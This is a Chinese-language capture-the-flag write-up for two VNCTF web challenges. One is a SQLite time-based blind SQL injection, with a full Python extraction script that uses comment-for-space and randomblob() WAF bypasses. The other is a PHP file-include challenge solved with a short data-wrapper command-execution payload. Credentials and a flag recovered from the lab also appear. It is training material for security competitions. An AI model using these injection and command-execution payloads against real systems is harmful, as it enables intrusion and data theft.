2025
奶龙回家
在做的时候尝试了时间盲注,但是MySQL中的sleep和benchmark被ban了,后面尝试无果,看wp才知道是sqlite的时间盲注,先fuzz测试下waf
可知union,benchmark,sleep被过滤,但是实测空格和等号也被过滤了,用/**/代替空格,sqlite中的randomblob()来进行延时,最终脚本如下
import requests import time
url = 'http://node.vnteam.cn:43292/login' flag = ''
for i in range(1, 500): low = 32 high = 128 mid = (low + high) // 2 while low < high: time.sleep(0.2) payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
datas = { "username": "123", "password": payload }
start_time = time.time() res = requests.post(url=url, json=datas) end_time = time.time()
spend_time = end_time - start_time
if spend_time >= 0.19: low = mid + 1 else: high = mid mid = (low + high) // 2
if mid == 32 or mid == 127: break
flag += chr(mid)
print(flag) print('\n' + bytes.fromhex(flag).decode('utf-8'))
|
但是只跑出来一次对的,很容易跑错,环境有问题,最后拿到nailong/woaipangmao114514登录获得flag

2026
signin
<?php highlight_file(__FILE__);
$blacklist = ['/', 'convert', 'base', 'text', 'plain'];
$file = $_GET['file'];
foreach ($blacklist as $banned) { if (strpos($file, $banned) !== false) { die("这个是不允许的哦~"); } }
if (isset($file) && strlen($file) <= 20){ include $file; };
|
主要的困难就是将/禁用了,但是看到后面禁用的text,plain想到data伪协议可以不需要空格,然后又有20个字符要求,所以先来一个最简单的试试能否执行命令

成功执行命令后就是在限制没有/的情况下卡字数,这里通过变量引用来实现
GET:file=data:,<?=`$_GET[1]`;&1=cat /flag
|

VNCTF{a6c38fe1-5879-429c-812c-a524e34d6cc2}
PS:是真卡字数哇,一个不多一个不少